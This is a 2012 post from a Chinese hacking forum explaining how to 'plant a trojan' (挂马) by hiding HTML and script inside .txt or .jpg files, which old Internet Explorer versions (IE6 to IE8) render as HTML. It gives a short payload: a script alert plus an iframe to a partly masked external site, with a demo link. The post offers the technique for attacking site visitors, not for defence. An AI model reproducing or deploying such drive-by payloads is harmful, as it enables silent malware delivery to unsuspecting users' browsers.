暗组
Would you like to react to this message? Create an account in a few clicks or log in to continue.

TXT也能挂马..........

向下

TXT也能挂马.......... Empty TXT也能挂马..........

帖子  POLARBEAR 周五 八月 03, 2012 7:10 am

很少见但非常实用的TXT文件挂马方法:

TXT文件中插入一段J***A代码后后边的HTML代码就会被IE执行

受影响版本IE6 7 8

代码:
l><script>alert(sb)</script>
<iframe src=http://***xx.org width=500 height=500></iframe>
演示:
引用:
h(t)tp://***xx.or(g)/test.txt
图片挂马

将上述代码保存为JPG文件,然后通过IE访问,IE还是同样会解析图片中的HTML代码

受影响版本
IE6 7


POLARBEAR

帖子数 : 117
注册日期 : 12-07-25

返回页首 向下

返回页首


 
您在这个论坛的权限:
不能在这个论坛回复主题